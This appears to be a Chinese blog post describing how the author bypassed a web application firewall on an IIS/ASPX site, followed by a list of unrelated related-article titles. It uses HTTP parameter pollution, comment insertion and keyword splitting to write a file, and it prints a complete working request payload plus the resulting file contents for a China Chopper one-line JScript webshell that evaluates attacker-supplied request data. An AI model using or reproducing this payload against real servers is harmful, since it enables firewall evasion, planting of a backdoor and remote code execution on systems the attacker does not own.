环境介绍

Server: Microsoft-IIS/10.0

X-AspNet-Version: 4.0.

waf: 某不知名waf

漏洞点情况

新建模板处,可以直接写入内容到文件:

但是一写入正常的aspx语句就被拦截,连简单的输出语句都不行:

bypass过程

一开始也试过诸多绕过方法,包括各种常见编码、chunked编码等等,都不太行。

然后尝试了一下,看有没有http参数污染(两个code参数):

访问下生成的aspx文件:

可以看到确实是可以的,但是中间有个逗号,我们该怎么利用来写入aspx文件呢?

比如一个最简单的输出hello world:

<%@Page Language="C+"%> <% Response.Write("hello, world"); %>

之前我们通过测试只到<% Response.Write("hello, world"); %>这个会被waf拦截,删掉<%之后呢?

可以看到成功上传,那么思路来了,将<%%>拆分就行,但是怎么让服务器忽略掉那个逗号呢?

自然是使用注释。

aspx是支持"//"的注释方式,然后我们需要使用换行,把我们的内容换到下一行避免被注释,于是:

然后我们试着拆分前面被拦截的那个输出hello world的语句:

code=<%@Page Language="C+"%><% //&code=%0aResponse.Write("hello,world"); %>

成功生成:

Getshell

经过了好一番尝试,发现waf还过滤了Request等关键词,eval()可以上传,但是括号里面有内容比如eval(xxx)就不行。

参考了这篇文章里的注释符号:

https://www.cnblogs.com/xiaozi/p/7566795.html

将eval(a)拆分为

eval/*-/*-*/(a/*,*/)

Request就直接用加号进行连接,比如:"Req"+"Uest"

最终结合hpp来利用,上传菜刀一句话的payload为:

code=<%@ Page Language=Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item[\"c"%2b"o\"],"%2b"\"uns"%2b"afe\")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>

这个生成的文件内容应该是:

<%@ Page Language = Jscript %><%//,

var a="ev"+"al"+"(Reque"+"st.Item["c"+"o"],"+""uns"+"afe");";eval/-/-/(a/,*/);%>

成功拿到一个菜刀shell,当然,菜刀因为waf的原因不能用:

eval都行了,还怕拿不到shell?

记一次iis+aspx环境下利用http参数污染绕过waf相关推荐

  1. java 内存映射文件进程间通讯_[转]Windows环境下利用“共享内存”实现进程间通信的C/C++代码---利用CreateFileMapping和MapViewOfFile...

    进程间的通信方式有很多种, 上次我们说了最傻瓜的"共享外存/文件"的方法. 那么, 在本文中, 我们即将学习"共享内存"的方式实现进程间的通信, 这是IPC最快 ...

  2. windows环境下利用python进行CGI配置

    windows环境下利用python进行CGI配置(win10,visual stdio 2017中的python3.6) 写在前面,初学python,看到python的CGI编程这一章的时候尝试在教 ...

  3. 在高温环境下利用金属钋、铍和锂制备氚化锂的方法

    在高温环境下利用金属钋.铍和锂制备氚化锂的方法 (2016-12-01 08:52:12)[编辑][删除] 转载▼ 一. 研发背景 随着我国国民经济的不断发展,综合国力的显著增强,核工业生产对氚化锂的 ...

  4. IIS+PHP环境下出现HTTP 500服务器内部错误——请检查权限设置

    转载来的,遇到这样问题的朋友应该不多,我是配置好环境了,也装了个PHP的CMS测试过了,PHPMYADMIN运行也正常,但是运行另外一套 PHP网站程序就出现HTTP 500服务器内部错误,还好找到了 ...

  5. 【 Linux学习】Linux环境下利用OpenSSL对大文件进行AES加解密

    一.背景 之前的几篇博客已经介绍了Gitlab如何备份恢复与迁移已经脚本监控过程等. git学习--> Gitlab如何进行备份恢复与迁移? http://blog.csdn.net/ouyan ...

  6. 在ctex环境下利用Metapost作图

    使用Metapost作图,是LaTeX的好搭档.下面介绍如何在ctex环境下的使用Metapost作图. 首先新建一个test.mp的Metapost文件. 在文件开始需要声明如下代码: 1 prol ...

  7. 断网python第三方库安装_断网环境下利用pip安装Python离线安装包(转载)

    这几天搞Windows离线断网环境下安装Python包,配置环境,各种坑!做个记录,供以后查询吧. # 生产环境 windows 7 # python 2.7.9 # pip 1.5.2 友情提示:当 ...

  8. 断网情况下安装python_断网环境下利用pip安装Python离线安装包

    著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 这几天搞Windows离线断网环境下安装Python包,配置环境,各种坑!做个记录,供以后查询吧. # 生产环境 windows ...

  9. python小课离线版_断网环境下利用pip安装Python离线安装包

    这几天搞Windows离线断网环境下安装Python包,配置环境,各种坑!做个记录,供以后查询吧. # 生产环境 windows 7 # python 2.7.9 # pip 1.5.2 友情提示:当 ...

最新文章

  1. cstring只获取到第一个数_一文讲透 Dubbo 负载均衡之最小活跃数算法
  2. windows安装ngnix
  3. 使用druid连接池的超时回收机制排查连接泄露问题
  4. python是用什么语言开发的-python是什么语言?哪些人适合学习Python?
  5. MasterPage事件使用
  6. 破旧立新,精准测试之道
  7. php pdo 更新sql语句,增删改查sql语句及PDO数据库连接操作流程实例-2019年7月24日...
  8. 前端学习(2398):回顾
  9. delphi中保留字的属性和含义
  10. 问题:自定义Appender输出DCMTK的oflog
  11. imx6 android6.0.1,mfgtool刷写i.MX6 android6.0版本失败
  12. HDU 1233 - 还是畅通工程
  13. paip. C#.NET循环获取不同随机数的方法根据时间
  14. 在iOS开发的Quartz2D使用中实现图片剪切和截屏功能
  15. 安徽省大数据比赛——数据可视化实战
  16. 旅游景区无线智能调频广播系统
  17. java图书管理系统(MySQL)
  18. python 排队论_建模算法(七)——排队论模型
  19. java生成图片中文乱码_Java生成图片乱码问题的解决方法
  20. Android Scroller 滑动机制

热门文章

  1. 博客搜索引擎索引博文数量分析与评估
  2. [leetcode]617.合并二叉树
  3. final const java_Java中的final关键字 与 C#中的const, readonly关键字
  4. android文件加解密开发,Android文件加密解密的实现
  5. mysql启动主机挂了_docker 启动mysql 挂载宿主机目录
  6. 桌面在计算机哪个文件夹,windows的桌面文件夹是哪个?
  7. 介绍一些平时用得到的服务/组件
  8. DNS攻击的主要方式
  9. FatFs源码剖析(1)
  10. linux查看进程自身全路径,在linux环境下如何查看进程的全路径